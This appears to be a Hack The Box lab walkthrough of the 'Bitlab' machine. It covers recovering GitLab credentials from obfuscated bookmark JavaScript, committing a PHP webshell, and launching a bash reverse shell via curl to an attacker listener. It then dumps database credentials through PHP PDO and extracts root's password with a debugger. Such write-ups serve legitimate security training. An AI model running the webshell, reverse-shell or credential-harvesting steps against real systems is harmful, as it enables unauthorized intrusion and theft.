> For the complete documentation index, see [llms.txt](https://alfa8sa.gitbook.io/htb-writeups/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://alfa8sa.gitbook.io/htb-writeups/linux-machines/bitlab.md).

# Bitlab

<figure><img src="https://1074697697-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FyIspp1QgGM7SFqLfTs4l%2Fuploads%2FlaQzEmSoznqVntM52Kq9%2Fbitlab.png?alt=media&amp;token=c7296b3c-ea2d-47ea-82aa-5eb15a1c880c" alt=""><figcaption></figcaption></figure>

## Enumeration

As always, we start with the enumeration phase, in which we try to scan the machine looking for open ports and finding out services and versions of those opened ports.

The following nmap command will scan the target machine looking for open ports in a fast way and saving the output into a file:

> nmap -sS --min-rate 5000 -p- -T5 -Pn -n 10.10.10.114 -oN allPorts

* `-sS` use the **TCP SYN** scan option. This scan option is relatively unobtrusive and stealthy, since it never completes TCP connections.
* `--min-rate 5000` nmap will try to keep the sending rate **at or above** 5000 packets per second.
* `-p-` scanning the entire port range, **from 1 to 65535**.
* `-T5` **insane** mode, it is the fastest mode of the nmap time template.
* `-Pn` assume the host is **online**.
* `-n` scan without reverse **DNS** resolution.
* `-oN` **save** the scan result into a file, in this case the *allPorts* file.

{% code overflow="wrap" %}

```bash
# Nmap 7.93 scan initiated Tue Mar 14 18:58:46 2023 as: nmap -sS --min-rate 5000 -p- -n -Pn -oN allPorts 10.10.10.114
Nmap scan report for 10.10.10.114
Host is up (0.36s latency).
Not shown: 65533 filtered tcp ports (no-response)
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

# Nmap done at Tue Mar 14 18:59:14 2023 -- 1 IP address (1 host up) scanned in 28.34 seconds
```

{% endcode %}

Now that we know which ports are open, let's try to obtain the services and versions running on these ports. The following command will scan these ports more in depth and save the result into a file:

> nmap -sC -sV -p22,53,80,1490,32400,32469 10.10.10.114 -oN targeted

* `-sC` performs the scan using the default set of **scripts**.
* `-sV` enables **version** detection.
* `-oN` **save** the scan result into file, in this case the *targeted* file.

{% code overflow="wrap" %}

```bash
# Nmap 7.93 scan initiated Tue Mar 14 18:59:33 2023 as: nmap -sCV -p22,80 -Pn -oN targeted 10.10.10.114
Nmap scan report for 10.10.10.114
Host is up (0.041s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 a23bb0dd2891bfe8f9308231232f9218 (RSA)
|   256 e63bfbb37f9a35a8bdd0277b25d4eddc (ECDSA)
|_  256 c9543d91017803ab16146bccf0b73a55 (ED25519)
80/tcp open  http    nginx
| http-title: Sign in \xC2\xB7 GitLab
|_Requested resource was http://10.10.10.114/users/sign_in
|_http-trane-info: Problem with XML parsing of /evox/about
| http-robots.txt: 55 disallowed entries (15 shown)
| / /autocomplete/users /search /api /admin /profile 
| /dashboard /projects/new /groups/new /groups/*/edit /users /help 
|_/s/ /snippets/new /snippets/*/edit
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Tue Mar 14 18:59:45 2023 -- 1 IP address (1 host up) scanned in 12.04 seconds
```

{% endcode %}

There is a *GitLab Community Edition* server on port 80. But there is no registration form, just the sign in form.

<figure><img src="https://1074697697-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FyIspp1QgGM7SFqLfTs4l%2Fuploads%2FrVAQW38vheLaAi6KGuLG%2Fimage.png?alt=media&amp;token=f743faba-d95a-4d4c-a702-c76226b92bcc" alt=""><figcaption></figcaption></figure>

## Exploitation

If we click on `Help`, we'll see that directory listing in enabled and there is a file called `bookmarks.html`.

<figure><img src="https://1074697697-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FyIspp1QgGM7SFqLfTs4l%2Fuploads%2F1pTPNd8kWHWJ4Qf5uWl8%2Fimage.png?alt=media&amp;token=506c1ccb-b548-4dbf-b09a-4a631b788015" alt=""><figcaption></figcaption></figure>

This file contains bookmarks for sites which are out of the scope.

<figure><img src="https://1074697697-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FyIspp1QgGM7SFqLfTs4l%2Fuploads%2Frqf0EroEINV6PJ6d0yt3%2Fimage.png?alt=media&amp;token=7a5a122a-febc-4834-9768-f7ad9863391b" alt=""><figcaption></figcaption></figure>

Except for the last bookmark called GitLab Login which contains some JavaScript code encoded in hexadecimal.

<figure><img src="https://1074697697-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FyIspp1QgGM7SFqLfTs4l%2Fuploads%2FpzlyNcHiMiWFwINmQfl2%2Fimage.png?alt=media&amp;token=9a44e0f5-8302-4e3d-b27e-b6637e34e625" alt=""><figcaption></figcaption></figure>

We can decode it by simple doing an echo of the string.

> echo 'javascript:(function(){ var \_0x4b18=\["\x76\x61\x6C\x75\x65","\x75\x73\x65\x72\x5F\x6C\x6F\x67\x69\x6E","\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x42\x79\x49\x64","\x63\x6C\x61\x76\x65","\x75\x73\x65\x72\x5F\x70\x61\x73\x73\x77\x6F\x72\x64","\x31\x31\x64\x65\x73\x30\x30\x38\x31\x78"];document\_0x4b18\[2]\[\_0x4b18\[0]]= \_0x4b18\[3];document\_0x4b18\[2]\[\_0x4b18\[0]]= \_0x4b18\[5]; })()'

{% code overflow="wrap" %}

```
javascript:(function(){ var _0x4b18=["value","user_login","getElementById","clave","user_password","11des0081x"];document[_0x4b18[2]](_0x4b18[1])[_0x4b18[0]]= _0x4b18[3];document[_0x4b18[2]](_0x4b18[4])[_0x4b18[0]]= _0x4b18[5]; })()
```

{% endcode %}

We get credentials for the `clave` user. Let's use them.

<figure><img src="https://1074697697-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FyIspp1QgGM7SFqLfTs4l%2Fuploads%2FZyTe4ge1LO2OLBBgH2LU%2Fimage.png?alt=media&amp;token=1baaf51a-8113-47eb-ba71-4bcccbe78529" alt=""><figcaption></figcaption></figure>

There is one snippet called `Postgresql`.

<figure><img src="https://1074697697-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FyIspp1QgGM7SFqLfTs4l%2Fuploads%2FPFs9L8uqkueI4AU7RRvX%2Fimage.png?alt=media&amp;token=e7045f3b-376a-49fa-9e46-fe1ca4142ef9" alt=""><figcaption></figcaption></figure>

Which contains credentials for a PostgreSQL database.

<figure><img src="https://1074697697-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FyIspp1QgGM7SFqLfTs4l%2Fuploads%2FNgPbtHkXyc4eqdAeUukp%2Fimage.png?alt=media&amp;token=81df209f-5e5f-458a-8518-57025b16beff" alt=""><figcaption></figcaption></figure>

Also, there is a project called `Profile`.

<figure><img src="https://1074697697-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FyIspp1QgGM7SFqLfTs4l%2Fuploads%2FUzYiQYv2unZZHKg6egUH%2Fimage.png?alt=media&amp;token=8ca38cff-d95e-4822-b1fb-ef39da4d96c7" alt=""><figcaption></figcaption></figure>

Which is accessible in `http://10.10.10.114/profile`.

<figure><img src="https://1074697697-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FyIspp1QgGM7SFqLfTs4l%2Fuploads%2FNkvJz0z5VKAzTm7e5Xlm%2Fimage.png?alt=media&amp;token=5dc832a7-830c-40a1-b403-d2c6e06bf970" alt=""><figcaption></figcaption></figure>

We could try to create a new PHP webshell in the Profile project, and see if it is accessible.

<figure><img src="https://1074697697-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FyIspp1QgGM7SFqLfTs4l%2Fuploads%2FV5ID8HRaQzRgYh30oyro%2Fimage.png?alt=media&amp;token=99acfc6b-4210-466a-9cdd-576909182c7c" alt=""><figcaption></figcaption></figure>

Call it `pwn.php`, add the webshell, and click on `Commit changes`.

<figure><img src="https://1074697697-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FyIspp1QgGM7SFqLfTs4l%2Fuploads%2Fx3Q6eQ28vGaQfUDJ8VEf%2Fimage.png?alt=media&amp;token=50a717e2-5f0a-499d-9f28-df02e7df700a" alt=""><figcaption></figcaption></figure>

Then, complete the merge request, and click on `Submit merge request`.

<figure><img src="https://1074697697-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FyIspp1QgGM7SFqLfTs4l%2Fuploads%2FSR8XlllxttFwpIqEhsy6%2Fimage.png?alt=media&amp;token=575e1518-2851-4bcf-9736-577da851be90" alt=""><figcaption></figcaption></figure>

Finally, merge the `patch-1` branch into the `master` branch.

<figure><img src="https://1074697697-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FyIspp1QgGM7SFqLfTs4l%2Fuploads%2FTy5Z9e6X596G4XF17rW2%2Fimage.png?alt=media&amp;token=4260a892-1958-4642-a190-1598edbfd5af" alt=""><figcaption></figcaption></figure>

Now, the `pwn.php` file is located in the `master` branch of the `Profile` project, and we can run commands on the system.

> curl '<http://10.10.10.114/profile/pwn.php?cmd=whoami>'

```
www-data
<prewww-data</pre>
```

Time to get a shell. Set a *netcat* listener on port 4444, that will catch the reverse shell.

> nc -lvnp 4444

* `-l` **listen** mode.
* `-v` **verbose** mode.
* `-n` **numeric-only** IP, no DNS resolution.
* `-p` specify the **port** to listen on.

Finally, send a reverse shell to our machine on port 4444, and get a shell as `www-data`.&#x20;

> curl '<http://10.10.10.114/profile/pwn.php?cmd=bash%20-c%20%22bash%20-i%20%3E%26%20/dev/tcp/10.10.14.8/4444%200%3E%261%22>'

```
Listening on 0.0.0.0 4444
Connection received on 10.10.10.114 34096
bash: cannot set terminal process group (1296): Inappropriate ioctl for device
bash: no job control in this shell
www-data@bitlab:/var/www/html/profile$ whoami
whoami
www-data
```

## Privilege Escalation

First, let's set an interactive *TTY* shell.

> script /dev/null -c /bin/bash&#x20;

Then I press `Ctrl+Z` and execute the following command on my local machine:

> stty raw -echo; fg
>
> reset
>
> Terminal type? xterm

Next, I export a few variables:

> export TERM=xterm
>
> export SHELL=bash

Finally, I run the following command in our local machine:

> stty size

```
51 236
```

And set the proper dimensions in the victim machine:

> stty rows 51 columns 236

The `user.txt` flag is in the home directory of the `clave` user, we we'll have to become `clave`.

> find / -name user.txt 2>/dev/null

```
/home/clave/user.txt
```

As we can se, port 5432 of the localhost is open, which is where the PostgreSQL database is running on.

> netstat -tulpn

* `-t` **TCP** connections.
* `-u` **UDP** connections.
* `-l` **listening**.
* `-p` show the **PID/Program name**.
* `-n` don't resolve **names**.

```
(Not all processes could be identified, non-owned process info
 will not be shown, you would have to be root to see it all.)
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name    
tcp        0      0 0.0.0.0:8000            0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.1:3022          0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.53:53           0.0.0.0:*               LISTEN      -                   
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      -                   
tcp        0      0 172.17.0.1:3000         0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.1:5432          0.0.0.0:*               LISTEN      -                   
tcp6       0      0 :::80                   :::*                    LISTEN      -                   
tcp6       0      0 :::22                   :::*                    LISTEN      -                   
udp    18432      0 127.0.0.53:53           0.0.0.0:*                           - 
```

Unfortunately, the *psql* tool is not available on the system.

> psql

```
bash: psql: command not found
```

There is an alternative way to enumerate databases. Using PHP PDO we could try to enumerate the PostgreSQL database. The idea is to open PHP in interactive mode, create a new connection to the database with the credentials we found earlier, then query everything from the `profiles` table, and fetch the results.

> php --interactive

{% code overflow="wrap" %}

```php
Interactive mode enabled                                                                                                             
                                                                                                                                     
php > $connection = new PDO('pgsql:dbname=profiles;host=localhost', 'profiles', 'profiles');                                         
php > $connect = $connection->query("select * from profiles");                                                                       
php > $results = $connect->fetchAll();                                                                                               
php > print_r($results);                                                                                                             
Array                                                                                                                                
(
    [0] => Array
        (
            [id] => 1
            [0] => 1
            [username] => clave
            [1] => clave
            [password] => c3NoLXN0cjBuZy1wQHNz==
            [2] => c3NoLXN0cjBuZy1wQHNz==
        )

)
```

{% endcode %}

This looks like a base64 string, but trying to decode it gives an error.

> echo "c3NoLXN0cjBuZy1wQHNz==" | base64 -d

```
ssh-str0ng-p@ssbase64: invalid input
```

If we remove the `==` characters, we'll get the `ssh-str0ng-p@ss` password.

> echo "c3NoLXN0cjBuZy1wQHNz" | base64 -d

```
ssh-str0ng-p@ss
```

But this password is not valid for the `clave` user.

> sshpass -p 'ssh-str0ng-p\@ss' ssh clave\@10.10.10.114

```
Permission denied, please try again.
```

But, using the base64 string as the password seems to be valid. The, we'll be able to grab the user flag.

> sshpass -p 'c3NoLXN0cjBuZy1wQHNz==' ssh clave\@10.10.10.114

```
Last login: Thu Aug  8 14:40:09 2019
clave@bitlab:~$ whoami
clave
clave@bitlab:~$ cat user.txt 
3d5a9d4dbc5f4087d736838dbb607f8c
```

In his home directory there is one file called `RemoteConnection.exe`.

> ls -l

```
total 20
-r-------- 1 clave clave 13824 Jul 30  2019 RemoteConnection.exe
-r-------- 1 clave clave    33 Mar 16 18:15 user.txt
```

As it is a Windows executable, let's transfer the file to our local machine.

> scp clave\@10.10.10.114:/home/clave/RemoteConnection.exe .

And then, transfer it to a *Windows 7 32bits* machine.

> impacket-smbserver smbFolder $(pwd) -smb2support

On the Windows machine, copy it to the desktop.

> copy \192.168.8.137\smbFolder\RemoteConnection.exe

If you try to run the binary, you'll get two errors saying that [MSVCR100.dll](https://www.tuexperto.com/2019/08/21/solucion-error-falta-msvcr100-dll-windows-10-7-8/) and [MSVCP100.dll](https://www.tuexperto.com/2019/08/12/solucion-error-falta-msvcp100-dll-windows-10/) are missing. Download the DLL files, and place them in `C:\Windows\System32`.

If we run the binary from the CMD console, we'll get the following message.

> RemoteConnection.exe

```
Access Denied !!
```

Let's analyze the binary with *Immunity Debugger*. Click on `File > Open`, and select the binary.

<figure><img src="https://1074697697-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FyIspp1QgGM7SFqLfTs4l%2Fuploads%2FgTUedr83BNqaH756yH0d%2Fimage.png?alt=media&amp;token=41fdff94-7515-44e4-9293-cabac257d7f4" alt=""><figcaption></figcaption></figure>

We can try to list all the text strings by doing `Rigth click > Search for > All referenced text strings`.

<figure><img src="https://1074697697-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FyIspp1QgGM7SFqLfTs4l%2Fuploads%2F6KuV5tb5EMxqCBMJT6CD%2Fimage.png?alt=media&amp;token=a0d4084c-d217-4c0c-b0bf-6a8b95fd2e70" alt=""><figcaption></figcaption></figure>

There is one string with an absolute path to the `putty.exe` binary.

<figure><img src="https://1074697697-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FyIspp1QgGM7SFqLfTs4l%2Fuploads%2FyfsXmZ6NMa6IZfmdbQ9n%2Fimage.png?alt=media&amp;token=f36f4f7b-b645-485e-afa7-b8dbe6b81718" alt=""><figcaption></figcaption></figure>

Let's follow the string in the disassembler.

<figure><img src="https://1074697697-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FyIspp1QgGM7SFqLfTs4l%2Fuploads%2FOJ1yuu6pUTcljBvlpmTU%2Fimage.png?alt=media&amp;token=aba851aa-8e9d-4131-803e-55f0170c40ca" alt=""><figcaption></figcaption></figure>

As we can see, that binary is trying to get some parameters.

<figure><img src="https://1074697697-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FyIspp1QgGM7SFqLfTs4l%2Fuploads%2FccOJLzVVdT836MX496T1%2Fimage.png?alt=media&amp;token=c450eeeb-0cb7-4298-b975-3660e8a2060c" alt=""><figcaption></figcaption></figure>

Let's set a break point right before this part of the binary gets executed.

<figure><img src="https://1074697697-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FyIspp1QgGM7SFqLfTs4l%2Fuploads%2FTUa3fILERDLRrQJD42Fg%2Fimage.png?alt=media&amp;token=c3b6c4e4-b889-42db-9a0f-a0fab3c2e98c" alt=""><figcaption></figcaption></figure>

Then, hit play to start running the program. When it reaches the breakpoint, it will stop and we should see the parameters in the EBX register.

<figure><img src="https://1074697697-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FyIspp1QgGM7SFqLfTs4l%2Fuploads%2FRxhLIbzzRvHdSokCduqW%2Fimage.png?alt=media&amp;token=f726ac96-5886-4bc6-aeee-31ccc6690d5b" alt=""><figcaption></figcaption></figure>

As we can see, it contains the credentials of the root user. Log into the machine as root, and then all we have to do is reap the harvest and take the root flag.

> sshpass -p 'Qf7]8YSV.wDNF\*\[7d?j\&eD4^' ssh root\@10.10.10.114

```
Last login: Wed Sep  7 13:12:33 2022
root@bitlab:~# whoami 
root
root@bitlab:~# cat root.txt 
6b4a156b373c924ac58f8a8689665754
```
